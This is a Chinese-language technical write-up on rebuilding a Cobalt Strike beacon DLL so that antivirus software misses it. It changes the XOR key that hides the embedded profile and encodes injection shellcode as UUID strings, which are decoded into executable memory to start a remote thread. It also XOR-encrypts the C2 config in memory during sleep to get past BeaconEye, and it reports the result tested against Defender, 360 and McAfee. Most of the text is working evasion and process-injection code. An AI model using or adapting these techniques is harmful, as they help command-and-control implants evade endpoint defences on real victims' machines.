cobalt strike beacon dll 改造实现免杀
前言：beacon dll 改造实现笔记
参考文章：https://github.com/WBGlIl/ReBeacon_Src
技术不到位，下不了手，而且相关的反射dll进程注入也有点问题，更多的可以参考https://github.com/H4de5-7/geacon_pro 这份，代码简洁易懂
异或特征修改
自己大概看完ReBeacon_Src项目之后，profile的特征点太大，虽然进行了异或加密，但是异或加密算法^0x2Eu是固定写死的
beaconMain.cpp
// 解密内嵌的配置信息
for (int i = 0; i < 0x1000; ++i)
{
rawData[i] ^= 0x2Eu;
}
那么这种情况下在解密的时候，这一串字节数组就是很大的特征点，放到virtualtotal检测也验证了这种情况，报毒的全是shellcode
定位到客户端代码中异或加密profile的部分，代码位于beacon.BeaconPayload#beacon_obfuscate
for(int var2 = 0; var2 < var0.length; ++var2) {
var1[var2] = (byte)(var0[var2] ^ 46);
}
这里修改的话直接将异或46的值修改为47
对应的beacon中的代码同样改为47，十六进制对应0x2Fu
替换配置文件的时候直接搜索0x2F 0x2E 0x2F 0x2E 0x2F即可，然后进行替换测试上线，发现还是可以上线执行命令的，到这里的话第一处就改好了
shellcode特征码修改
将其改造成注入的时候进行uuid解码，注入完成之后进行释放解码时候的内存空间即可
Global.cpp
const unsigned char sub_10033020_length[76] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01
};
const unsigned char sub_10033070_length[297] = {
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
};
const char* sub_10033020_uuid[] = {
"56e58955-8b57-0875-8b4d-0ce800000000",
"25c08358-ec83-8908-e2c7-420433000000",
"09e80289-0000-8300-c414-5f5e5dc20800",
"ff243c8b-482a-c031-57ff-d65f50c74424",
"00002304-8900-243c-ff2c-240000000000",
};
const char* sub_10033070_uuid[] = {
"ce8948fc-8948-48e7-83e4-f0e8c8000000",
"50415141-5152-4856-31d2-65488b526048",
"4818528b-528b-4820-8b72-50480fb74a4a",
"48c9314d-c031-3cac-617c-022c2041c1c9",
"c101410d-ede2-4152-5148-8b52208b423c",
"66d00148-7881-0b18-0275-728b80880000",
"c0854800-6774-0148-d050-8b4818448b40",
"d0014920-56e3-ff48-c941-8b34884801d6",
"48c9314d-c031-41ac-c1c9-0d4101c138e0",
"034cf175-244c-4508-39d1-75d858448b40",
"d0014924-4166-0c8b-4844-8b401c4901d0",
"88048b41-0148-41d0-5841-585e595a4158",
"5a415941-8348-20ec-4152-ffe05841595a",
"e9128b48-ff4f-ffff-5d4d-31c94151488d",
"ff501846-1076-76ff-0841-51415149b801",
"00000000-0000-4800-31d2-488b0e41bac8",
"ff40a438-48d5-c085-740c-48b800000000",
"00000000-0aeb-b848-0100-000000000000",
"50c48348-8948-c3fc-0000-000000000000"
};
common.cpp
#pragma pack(1)
typedef struct {
char field_0[sizeof(sub_10033020_length)];
HANDLE hProcess;
DWORD field_12D;
PVOID StartAddress;
DWORD field_135;
PVOID lpParameter;
DWORD field_13D;
HANDLE hThread;
DWORD field_145;
}BeaconShellcode;
#pragma pack()
int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter)
{
OSVERSIONINFOA VersionInformation = { 0 };
VersionInformation.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA);
if (!GetVersionExA(&VersionInformation))
{
return 0;
}
if (VersionInformation.dwMajorVersion == 5 && VersionInformation.dwMinorVersion == 2)
{
SetLastError(5);
return 0;
}
char* lpAddress = (char*)VirtualAlloc(0, sizeof(sub_10033020_length), MEM_COMMIT| MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress)
{
return 0;
}
DWORD dw_buf_num;
DWORD_PTR p_ptr;
BeaconShellcode* lpAddress2 = (BeaconShellcode*)VirtualAlloc(0, sizeof(BeaconShellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress2)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
return 0;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033020_uuid) / sizeof(sub_10033020_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033020_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
// Generate uuid Decode
dw_buf_num = sizeof((unsigned char*)sub_10033070_uuid) / sizeof(sub_10033070_uuid[0]);
p_ptr = (DWORD_PTR)lpAddress2;
for (size_t i = 0; i < dw_buf_num; i++)
{
RPC_STATUS rpc_status = UuidFromStringA((unsigned char*)sub_10033070_uuid[i], (UUID*)p_ptr);
if (rpc_status != RPC_S_OK) {
return -1;
}
p_ptr += 16;
}
//memcpy(lpAddress, sub_10033020, sizeof(sub_10033020));
//memcpy(lpAddress2, sub_10033070, sizeof(sub_10033070));
lpAddress2->hThread = 0;
lpAddress2->hProcess = hProcess;
lpAddress2->StartAddress = BaseAddress;
lpAddress2->lpParameter = lpParameter;
if (!((int(__stdcall*)(BeaconShellcode*, HANDLE*))lpAddress)(lpAddress2, &lpAddress2->hProcess))
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(5);
return 0;
}
if (!lpAddress2->hThread)
{
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
SetLastError(6);
return 0;
}
ResumeThread(lpAddress2->hThread);
VirtualFree(lpAddress, 0, MEM_RELEASE);
VirtualFree(lpAddress2, 0, MEM_RELEASE);
return 1;
}
测试下还是可以正常执行
C2Config堆内存加密
发现一个问题就是虽然在c2 profile中配置了sleep_mask，但是通过beaconEye工具还是检测到了C2Config
在BeaconSleep.cpp中对每次sleep之后进行异或加密即可隐藏配置信息
再次通过扫描进行扫描不出来了
通信标识符
在服务端和beacon通信的时候存在部分标志位的特征，可以同样可以进行修改，这里就不记录了
关于ReBeacon_Src的profile一个小bug
当自定义profile的http-get或者post的时候mask属性值来进行加密操作的时候
在beacon端的comm.cpp的xor_decode解密的时候，如果v8+v9去数组取值会导致错误
这里需要改为v11 = *(char*)(out + v8 + v9) ^ in[v8 & 3];就可以正常运行了
杀毒测试
defender的环境测试如下所示
360核晶模式的环境测试如下所示
麦咖啡的环境测试如下所示
